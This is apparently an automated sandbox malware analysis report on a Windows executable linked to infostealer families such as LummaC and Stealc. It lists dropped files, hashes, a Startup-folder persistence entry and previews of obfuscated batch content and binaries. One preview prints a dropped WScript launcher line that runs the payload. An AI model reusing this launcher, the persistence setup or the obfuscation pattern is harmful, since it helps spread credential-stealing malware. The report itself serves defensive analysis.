HCA Information:	Successful, ratio: 100% Number of executed functions: 101 Number of non-executed functions: 294
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: 66fd8d779da5e_EscortsRadios.exe

Simulations

Behavior and APIs

Time	Type	Description
17:45:49	API Interceptor	2983x Sleep call for process: Miniature.pif modified
17:46:03	API Interceptor	2147x Sleep call for process: DatumHub.scr modified
22:45:14	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DatumHub.url

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	zSHXL8jq8M.exe	Get hash	malicious	LummaC	Browse
	nJohIBtNm5.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, RedLine	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	Amadey	Browse
C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	zSHXL8jq8M.exe	Get hash	malicious	LummaC	Browse
	nJohIBtNm5.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, RedLine	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	Amadey	Browse

Created / dropped Files

C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\527294\Miniature.pif
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.734084780452165
Encrypted:	false
SSDEEP:	3:RiMIpGXIdPHo55wWAX+Ro6p4EkD5hERvWAAi++mZo5uWAX+Ro6p4EkD5hERvWAAN:RiJBJHonwWDKaJkD/4vHAz+mywWDKaJ2
MD5:	E3D4C82D6263EB1B3711B3BAE4172C14
SHA1:	718FF254AF4776016B19F00123F2360FEC55B774
SHA-256:	9ACFBC7AE1198BA67F816CC86AF14D093F2A74F25FEAEC6D70E656F4FAB7F822
SHA-512:	A3705EA0652312DAD11F7C7A70E6AC3345B08D0EC2B2B98E392158E6A2BEF10DA84EECEA6752088B0B247843C3DD3327EA79CE45AE557D440953C7946F9D6C03
Malicious:	true
Preview:	new ActiveXObject("Wscript.Shell").Exec("\"C:\\Users\\user\\AppData\\Local\\DatumHub Technologies\\DatumHub.scr\" \"C:\\Users\\user\\AppData\\Local\\DatumHub Technologies\\s\"")

C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr

Download File

Process:	C:\Users\user\AppData\Local\Temp\527294\Miniature.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	893608
Entropy (8bit):	6.62028134425878
Encrypted:	false
SSDEEP:	12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
MD5:	18CE19B57F43CE0A5AF149C96AECC685
SHA1:	1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
SHA-256:	D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
SHA-512:	A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: zSHXL8jq8M.exe, Detection: malicious, Browse Filename: nJohIBtNm5.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DatumHub Technologies\s

Download File

Process:	C:\Users\user\AppData\Local\Temp\527294\Miniature.pif
File Type:	data
Category:	dropped
Size (bytes):	548411
Entropy (8bit):	7.9997105904186885
Encrypted:	true
SSDEEP:	12288:bannn1CfN9SmPFb0MDWm13QwBbiSSUT/04dIZjYgZ/7llUDBryNH:banUN9SmPKMDWm13VWSSI8TzyJyNH
MD5:	EC2A006F0D1E59FE65C60F9C5361879B
SHA1:	69A90FF69CA89D7579C9E404925FC99BEA2D9077
SHA-256:	BC1F9150833C2DD718B0D14AC0E9C4492EF5E6F54DDB1AA4B6EB812FEC323BCF
SHA-512:	56371523EE1CF97603A0F35688748C41E7DFFA3B9F759EB75F4471146C6F2D1C99796BB040422922AAA0CA4EF75FBBB844FE5CEE11DA80DE35B02F162607D163
Malicious:	false
Preview:	.1d.M.......k/..5.i u.$...K...T.=..[XB.5<;.)Te....Q"..9..-p...~.hUo@...9Mj..w.i0...5....K.,;f..+F...^.......uK{.Mx..y... /@.z..HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R}...N.I.'.F...h....................y.......ykC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r....$..,P..Myn.2..t.W....z....N...kAv.......y.......ym.......~8.5...x..2).U.j....2>..#.~.\|....(..\|.m...<..-u,..... ...=...=..M.E..;.v.......N.S!.7.9...m%....D..0......-.e.17.C2.{1.[.+I.C.r.......^k......W....W..F.Y..5qY3..Nw.....9m......N.....m..>...,......0(.xWfm..R...;-.p../z.....h....l$e^.:.l...u2..P....o.........'.J..$a3..g....x...v..M.i..(..Hbb....v..........\.^..uQPG.]n.....@.k;...k.1.......S[..7.....O.

C:\Users\user\AppData\Local\Temp\527294\Miniature.pif

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	893608
Entropy (8bit):	6.62028134425878
Encrypted:	false
SSDEEP:	12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
MD5:	18CE19B57F43CE0A5AF149C96AECC685
SHA1:	1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
SHA-256:	D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
SHA-512:	A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: zSHXL8jq8M.exe, Detection: malicious, Browse Filename: nJohIBtNm5.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\527294\d

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	548411
Entropy (8bit):	7.9997105904186885
Encrypted:	true
SSDEEP:	12288:bannn1CfN9SmPFb0MDWm13QwBbiSSUT/04dIZjYgZ/7llUDBryNH:banUN9SmPKMDWm13VWSSI8TzyJyNH
MD5:	EC2A006F0D1E59FE65C60F9C5361879B
SHA1:	69A90FF69CA89D7579C9E404925FC99BEA2D9077
SHA-256:	BC1F9150833C2DD718B0D14AC0E9C4492EF5E6F54DDB1AA4B6EB812FEC323BCF
SHA-512:	56371523EE1CF97603A0F35688748C41E7DFFA3B9F759EB75F4471146C6F2D1C99796BB040422922AAA0CA4EF75FBBB844FE5CEE11DA80DE35B02F162607D163
Malicious:	false
Preview:	.1d.M.......k/..5.i u.$...K...T.=..[XB.5<;.)Te....Q"..9..-p...~.hUo@...9Mj..w.i0...5....K.,;f..+F...^.......uK{.Mx..y... /@.z..HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R}...N.I.'.F...h....................y.......ykC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r....$..,P..Myn.2..t.W....z....N...kAv.......y.......ym.......~8.5...x..2).U.j....2>..#.~.\|....(..\|.m...<..-u,..... ...=...=..M.E..;.v.......N.S!.7.9...m%....D..0......-.e.17.C2.{1.[.+I.C.r.......^k......W....W..F.Y..5qY3..Nw.....9m......N.....m..>...,......0(.xWfm..R...;-.p../z.....h....l$e^.:.l...u2..P....o.........'.J..$a3..g....x...v..M.i..(..Hbb....v..........\.^..uQPG.]n.....@.k;...k.1.......S[..7.....O.

C:\Users\user\AppData\Local\Temp\Audi

Download File

Process:	C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe
File Type:	data
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.997485677325137
Encrypted:	true
SSDEEP:	1536:qbouoPwjE8FNakRASBtmPFbvyhXUgrVTXWCyWfcvBWjzX+lnygm9nW+GL1MuwAdU:q87IYONakRASmPFbKFDrFWDWfkB4MybH
MD5:	3262C377488E1D796C59B0A12ED324E1
SHA1:	C1ED21FEA0F2841E68E03CF85DD2AA73C6AAF39A
SHA-256:	982A434D95E0A3983ACDA25B54F44809747E7C3B46C9482F562C4C92CB466BD8
SHA-512:	633690ADE5055972E085107E791C34BEA8B201C2411078032203ADCAB25FBC159458F9F62333F9336422E977A470377F6983CE92F9EC7C5A7755E00B672035F6
Malicious:	false
Preview:	..L$'..q.>....~&.e?.R...2."to..!.z.".d.BR.. . 6...........&.....s...... N..Z.P..Lg.,2..X....[...~...Hjn..t.....B..J...x...<.Q^.F..F..-~..!....\|.U...[..8..<.S5L.....#.).j.$B..5_...5......%Z..."q.k..&...X.uW..r......{.A.z...%lJ[......h.L.?...h6..[.I...r..q.n.i...cM.-.....\|....Z.c...-].g9]..Q=..6.....w./......\............e.b...C.B.l.......o..lL......\.W;.N..."...r..T.ud+h...K9.gF..... ...7p.)....g.....Dt.c...Y..F.o`.-..%.N.34-.g..&;MVA..\|...b....."xX..G...i..p......OFL.S_z..B...,..C..c.&)W..\.YS=..#...1z...!..Z_...5...V....@.......\|uq/.....@>4....H.......[.[j..43.>.......V^p..eT...X^.K`...M..w.....Sn.c...cjlQE1g.n.hR..t....~Vc..V[".Y.q@s....f...A+.UU~...U.G...H[..$A.....>....ES.7.R...M..{..t........2........8..A;..3.A+I,`9..U)..F...y.<.d8..1.N">.6.q...........9.(...d3t;...........J'.......O....C....J.5qp.S....#.^...u=\..*....i.....\|.........G.....K._E.vB.....Fy....=._..X.....o.Z..@5t..#jy.....YD..A.m.8....B......Mi..Ee.6........P...+...

C:\Users\user\AppData\Local\Temp\Bottle

Download File

Process:	C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe
File Type:	data
Category:	dropped
Size (bytes):	99328
Entropy (8bit):	7.9982153567289185
Encrypted:	true
SSDEEP:	3072:lq0mdFVZ9ulYp7ncsPLPrtMASLok+WHcJ4:U0anOls7n5LPreHV
MD5:	2509818F86189EB152813047DD1AA904
SHA1:	78A204E4A1633F434925C2E52C2BD6768D78EF36
SHA-256:	71EDAEEE36E2A29C85DC0580A4C20D1852EC5CDC4CBA10A5F60475070BBF7BF7
SHA-512:	F62FA530ACC7834465C63DDB8FF461AE118F64A39914716E75121C96EE6A49337684907C440B8F717BE3A9A0675CEB516DB228ABAA309D9777D29D094BBC24FB
Malicious:	false
Preview:	.1d.M.......k/..5.i u.$...K...T.=..[XB.5<;.)Te....Q"..9..-p...~.hUo@...9Mj..w.i0...5....K.,;f..+F...^.......uK{.Mx..y... /@.z..HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R}...N.I.'.F...h....................y.......ykC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r....$..,P..Myn.2..t.W....z....N...kAv.......y.......ym.......~8.5...x..2).U.j....2>..#.~.\|....(..\|.m...<..-u,..... ...=...=..M.E..;.v.......N.S!.7.9...m%....D..0......-.e.17.C2.{1.[.+I.C.r.......^k......W....W..F.Y..5qY3..Nw.....9m......N.....m..>...,......0(.xWfm..R...;-.p../z.....h....l$e^.:.l...u2..P....o.........'.J..$a3..g....x...v..M.i..(..Hbb....v..........\.^..uQPG.]n.....@.k;...k.1.......S[..7.....O.

C:\Users\user\AppData\Local\Temp\Casio

Download File

Process:	C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe
File Type:	data
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	7.9978920575963555
Encrypted:	true
SSDEEP:	1536:fzdj7JkyjPgu7vEzYIJx0P5ZJxOZMHFvzCG4DDsCM:78yj4u7UJah7pHBzC0f
MD5:	0CC1937386BA018CAE3E612CDB2D346C
SHA1:	56E8BF29FFB4502D9911CAA651B483986FDA14B4
SHA-256:	A3B3A73E8D91D6C8787F06F6A6B8D094D1DA49832A3B067D2A709912849F83F4
SHA-512:	0F29DCD3E9130C214373DDF297DC88AFE07B6B4C25FE55AB444382EDEAF492D3047D0CDC2E4D544D3F15A5553F1ECB531FC9914B56A886551E63A1FF5B0939CA
Malicious:	false
Preview:	o6.w{.CKRr..B.I"<......%w}....f~...J.#)....{..?...$7...p...a.c.YKt9.....A;8)..J:..=(.).W..5.>NH...O.}.j.J7..7...?^&.........%.!.Y...i.:<P\4..-.>S\|...'n./....!..pL..K#...K..[.b.8 .b...RT9..q!......(...'Sn.....a.,Jqt.vA.T._.....~W<........R.Cl.j...i..&.../..N..N..w0L....G\|t..?(Z..{<..fR...u...6...."o\|.e.......e.'..l....I..c..P..ir..b...9.,......p...R.Z<.h1.......-U}=--j..J...E..j....=q..J%..;.eP.N.b.NW....Y_...T.~..Q......v.....dC..o..o'...q\.D....)- z%<..s9....Cq..r.'..S.w.#....j.N,.OU.5st.....vuH...@Z.)...u..o..L.#.y.8..)........*{..3;.. s......m..b.'..0.).E....J..K.)E.Fk.F.`0SYW.n.......`.......h.....eYhC....W.c.%.H}H..%N6R.....m....U.X._Mx.b/..T. ....@.s.c FW....{;.X....!F...q^...RF....= ..I...........&...s2.C+..N$MH...Cb......a..w-.B...Y...j.q#....B.#..$.AY..R.....&............:s....(..^r\{....)< ..8I`.f..!.^.0.zz...4.L.H.n...N...).:..kus..-.....-`.K.Nh..vC.D.VG...t..fv.._.g.....>w~...~.n...m..t..BP..K.........>.t..)..m.?

C:\Users\user\AppData\Local\Temp\Duties

Download File

Process:	C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe
File Type:	data
Category:	dropped
Size (bytes):	67584
Entropy (8bit):	7.997169896499592
Encrypted:	true
SSDEEP:	1536:3sbYXbbc+63lzyZfYxww9joGBCZgGbzWgyDDB2BW97yGFd:K/+63lzyZfoww5oGB2kVfB0Gz
MD5:	9363F2736820A10BC5049E1AECE63758
SHA1:	617FE29C33F7693F0553B2343F7AE85E770C655E
SHA-256:	8EC3FDDBF1D5D5BF9C067C3D89B3CF744AB216E1E9CC8EBF54C44B7EC4FD19BE
SHA-512:	3F4802CC72FC9827D650E107309EC0545AAC86E6FB9A37C4C189C942DFF9349F5AF5C7EBA7DB69B13B4883875A247B4F5EC1D76C6163DF90A3A02986B9B07AA1
Malicious:	false
Preview:	..iQ.G.......@.I\...".s.S..!Q..!#..XX.n;\..bY..h{.....H....G\..O.{B..A.p.:mq.^k...E...J.......x..H....3........+....Y..#......t..2..s"6.&....~.Wua@.v...][.o...;.B....LN....C.;h.H.@YhI7......kKjl^.G+tI..h...6.........O}....;.....a....I=F..aJa.uI.....6........Y".gF.F.chL,..Qwy<z....B6o(.v..'...mE....p}...v..^.e7....rccX..QL.......X.l.L.y.l...AL...g)NU.V.).1.6.Y.0.JK..n.T..(.j;~ub.)...m8!....9.......[..E.ol.kj54..o...D?..J.,k...u...........7GR....f.iq;.../........j.......A.#Q..de..........QU....y.v..G......Y....L.#.$.3V...V.M......J.m.....e5.....+f..i}.2..N.Q.n....~<..^o1l.....[8..U.'.G\mG24.q...W..?..[G...0.b.v#,b...6.w.@.y..rD}.F.....!.N.....#/&....8.\..D..1.....o..K.d...w....<..?.`....9XQEF.{}/+.0...........^S.....................qL6.6...Z..HD.8.8....xr)V\|.=.E....y.8..>.......03...$9L..c...gA@.q..?G.F~v.}...&._.X.rN.........E.....9.i4.....k......]....::..2.>\.u.Z.......b.N"hO.B.3..r.K2..}.PE............!.H.e.O...i.w@I.F. .$.U.m...

C:\Users\user\AppData\Local\Temp\Integral

Download File

Process:	C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe
File Type:	data
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	7.9983384648289055
Encrypted:	true
SSDEEP:	1536:ZcwGLzWGBkY4quCkqPR16BrGZM3GTIKmJ+4Ty89dldZpKuo1AccldphY8CZkNrKv:tGJ76BrG2WT3mY4TyIFpK5ncldU8CZk0
MD5:	E53572D2AD494AEE41D5989C07727607
SHA1:	14A610542D7396E6663864F7C35781C02FF44954
SHA-256:	9ED1A02BDE74EA658D47004F36E5E5445B333AA7A0B6C39C25CD9269389DAF68
SHA-512:	3C2C4F4FB11E56ED533DD66B7FE1FB4939B2122F3DEDDB1CA0D46D6A3B2EEBC2A996197CC2082218C386D2908DCF02E98685AF16A6B291BFC707F3961532FA0C
Malicious:	false
Preview:	p..l$.......-@.. ......S&U...,..G.....wu\...N...].uH..Y8@.'e.._.....W0.!0K.^t<..'..3aU9...G.......0=.C..C.o.c.k...........el..>..%..r3l_..Y*;E...J....j....Tx.f....i......;..9.h"J..V....sR...H-...Q].bl..H..l...=..n.....a.....VB..d.......+U%....^....9"Q.`K.:.!E..[......A'..8.7p.9.$.\.X....Y..?........?HX..Tc.K.S.{.(..K!".v........%.9..V.~..v...ln....De...M.t.;DqK...~..Q;..B=..HF .>]...Z...e....DY..9....B...Y:Hu...rK..TJ...)._F..c..a.qk>...l.F?.7k..K2-.........M4.$Z..vx9.wbf.B.M.d..k...SR.Q.Q.>e<.).........A."@....'%nf;.Xn...B...F~.....z.i..EC...a..M..!..k...@..F..t.tM,..."m.Og.'....r......-....>#.....7]ZQ..P.i..Gx`..D.....k.\|.q].LJ...C......:}...I....+.q6P.(.....l...MMX!;SG..."..hK.7.v[.&.....:C}..4.....X.PR..u t.=...z.hz...sf..e.$6. .}\7.f.7.h...e..[..a.x..Ey.l1.o..p....$=..=S..3..'..k.....I%...N.B...<^R%.............;....C..1...#....d..<....H.AMJ.)Pw.:...G2..U......w......./....%4sZ..B.e.E.....J.....s.}b7f.......%h.U..c.h3.df3.cN.

C:\Users\user\AppData\Local\Temp\Jeffrey

Download File

Process:	C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe
File Type:	ASCII text, with very long lines (1269), with CRLF line terminators
Category:	dropped
Size (bytes):	23660
Entropy (8bit):	5.074159310891619
Encrypted:	false
SSDEEP:	384:cKufYDiz1hk2Sxy8HC2otOIPhnssT/q/jQJaVRfvH5Y3gqn34vEQ+Mv:cK9IHSkMCV/gjQwVpH23gqn34vEHMv
MD5:	40B41729F230FAA8C28B9317786898B2
SHA1:	D26625B2DF06BB74B653B1981135D2ADE7EEAF1E
SHA-256:	71529389790D0DEF6D0808C1E03CED6450E4A3F88E63A01C77C22CE93B79FE3C
SHA-512:	358C75F41461384EF9D19B34D18CC1F85257A0ECB51FB096B731F6FA49AC38D8043BEBFE72AD4D7B56D97C402F8AF273DFDAA15C1A17182FFBC6E4499F737907
Malicious:	false
Preview:	Set Apartment= ..EXTbTroops-Simultaneously-Keith-Beer-Delegation-..IIAffecting-Phil-Tulsa-..XutuPhilosophy-Combine-Scene-Delight-Wages-Trinity-..wOParliament-Columnists-Prev-Whose-Pull-Wave-Convention-Monkey-..ZwLaboratories-Dave-Silent-Stick-Forced-Worried-Belarus-..mOGb-Cord-Dose-Roberts-Power-..DtlsAllergy-Appears-Extensive-Post-Create-Worse-Remarkable-Memorabilia-..uCPossess-Medicine-Honest-Bridge-Military-Admissions-Usd-Indicates-..Set Soma=V..BlResponse-Minister-Den-Truly-Yea-Wanted-Kept-Loan-Racing-..DvFJJustin-Temple-Social-Collector-Atm-Levy-Posters-..ZcInvite-Introduce-County-Downloaded-Throw-Above-Admitted-..GDUses-..PUFacilitate-Monaco-Companies-Personnel-..TjSTFormed-Cap-..rchDetect-Landscape-Airport-Ericsson-Incident-..DcFrHolds-Uw-..zoiMutual-Set-Rider-Shirts-..Set Installed=Z..GUjThunder-Quest-Ridge-..TQUHostel-Visiting-Licking-Explanation-..keGkLivecam-Yugoslavia-Vincent-Invest-Cameron-Moments-Beginner-Lending-..aWSkAmended-Docs-Independence-Prominent-Emerald-Sent-Enha

C:\Users\user\AppData\Local\Temp\Jeffrey.bat (copy)

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (1269), with CRLF line terminators
Category:	dropped
Size (bytes):	23660
Entropy (8bit):	5.074159310891619
Encrypted:	false
SSDEEP:	384:cKufYDiz1hk2Sxy8HC2otOIPhnssT/q/jQJaVRfvH5Y3gqn34vEQ+Mv:cK9IHSkMCV/gjQwVpH23gqn34vEHMv
MD5:	40B41729F230FAA8C28B9317786898B2
SHA1:	D26625B2DF06BB74B653B1981135D2ADE7EEAF1E
SHA-256:	71529389790D0DEF6D0808C1E03CED6450E4A3F88E63A01C77C22CE93B79FE3C
SHA-512:	358C75F41461384EF9D19B34D18CC1F85257A0ECB51FB096B731F6FA49AC38D8043BEBFE72AD4D7B56D97C402F8AF273DFDAA15C1A17182FFBC6E4499F737907
Malicious:	false
Preview:	Set Apartment= ..EXTbTroops-Simultaneously-Keith-Beer-Delegation-..IIAffecting-Phil-Tulsa-..XutuPhilosophy-Combine-Scene-Delight-Wages-Trinity-..wOParliament-Columnists-Prev-Whose-Pull-Wave-Convention-Monkey-..ZwLaboratories-Dave-Silent-Stick-Forced-Worried-Belarus-..mOGb-Cord-Dose-Roberts-Power-..DtlsAllergy-Appears-Extensive-Post-Create-Worse-Remarkable-Memorabilia-..uCPossess-Medicine-Honest-Bridge-Military-Admissions-Usd-Indicates-..Set Soma=V..BlResponse-Minister-Den-Truly-Yea-Wanted-Kept-Loan-Racing-..DvFJJustin-Temple-Social-Collector-Atm-Levy-Posters-..ZcInvite-Introduce-County-Downloaded-Throw-Above-Admitted-..GDUses-..PUFacilitate-Monaco-Companies-Personnel-..TjSTFormed-Cap-..rchDetect-Landscape-Airport-Ericsson-Incident-..DcFrHolds-Uw-..zoiMutual-Set-Rider-Shirts-..Set Installed=Z..GUjThunder-Quest-Ridge-..TQUHostel-Visiting-Licking-Explanation-..keGkLivecam-Yugoslavia-Vincent-Invest-Cameron-Moments-Beginner-Lending-..aWSkAmended-Docs-Independence-Prominent-Emerald-Sent-Enha

C:\Users\user\AppData\Local\Temp\Liechtenstein

Download File

Process:	C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe
File Type:	data
Category:	dropped
Size (bytes):	888334
Entropy (8bit):	6.622324805393358
Encrypted:	false
SSDEEP:	12288:rV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:xxz1JMyyzlohMf1tN70aw8501
MD5:	D898EF04170C81102E0B1B1554372065
SHA1:	7078CEEEF8AC6CD25171B74C3E95F82DFAACAD42
SHA-256:	4715054BE219F59E350EFA9DC7C24DF0D1A873C7AD1745E95AD0D2D8AF5FE459
SHA-512:	F18D8A0D6989D1AF574ACE38C2562B1EE7C6EFB624D25E95105D2931CD82E2A0799060F4DF354FF30C4158502AF5739292DA30EBDF753883CEE4CD513458B41E
Malicious:	false
Preview:	.U..E.VW3........F.98u[.F..E.=......%....~..E...7.......t..E..D...E..D...G._.F.^]....}..t..M.......}..t.M........0.U..M..E......P.....uaSVW.}.3.S.5.xL..u,.7.u(.u$.u .u.Q.u..u.P.. .I.....t$8]4t.Sj.....I.Pj0V....I.9..........._..^[].0.%.....U...8SV.u.W.~:...m....].........E.E.P.6..4.I..M.E.VD.~H.M..E..U..}.....d.......s............}....E.P.3....I..E.M.+..U.E.E.+.E.E.P.6.U..M...p.I..}....E..u.M..}.f..........E...}.f.......E...E...}.f.......E...E...}.f......f..............t(.E.f.........u..........E..+...;............t'.E.f........`u..........E..+...;........U......................... ..R.....@..U..._^[..]....}.f.FX.......f......f.F\f......t_f.F`f......f.Fdf.......E.P.7..4.I....9^Xt=9^\tE.E.P.7....I.9^`......9^d...............{.......}..t..f.E.f.......f.E.f.......U..wL..M..........E....t..AX.E....t..A\.E...~..A`.E...~..Ad]...U..Q..xL.V.u.Wj.....8W................4xL.j.Z.U.;........$xL.....0.........F.;G.............................................}...VW.....~

C:\Users\user\AppData\Local\Temp\Recorder

Download File

Process:	C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe
File Type:	data
Category:	dropped
Size (bytes):	5295
Entropy (8bit):	6.062016536833128
Encrypted:	false
SSDEEP:	96:KxgUzr4tgOwVAfBzDICS09CAi6R7u+IhsObfS+NsPvj6ooxdofjxP0:IHAeOqAFDw09CV/2nPvj6DdMP0
MD5:	003DEB18901ED03CA41DB0BE942085F0
SHA1:	F3BC046B67CB0866E448FD76B2638D87B9C68DE3
SHA-256:	0BC723123090AFB33DE5AF8B415DBC7A110600EE00D0400FE88231C8714AE57E
SHA-512:	6F003189BC0F657391B609FF68DC24B992C0487BD92C06857A7C32733E0E65F1B8C70D76A31F7037794463674502AAFC827FF0BA240C7623B5451BD68881B546
Malicious:	false
Preview:	phisexyerrorspuzzle..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Sunny

Download File

Process:	C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe
File Type:	data
Category:	dropped
Size (bytes):	39483
Entropy (8bit):	7.9948178513482855
Encrypted:	true
SSDEEP:	768:Y528rbaZw5SoM6gaToBWp6qfrKR6OKqYDily8tVxr+/NUkXohb:v8rbcoM6g7W0Urhq/Nrxr+//Xo9
MD5:	7219F1D95ABB31BBE4F64C4A9A4C6618
SHA1:	FB0AAC29620B21F6A26826A5B53EAF6F5BCDE224
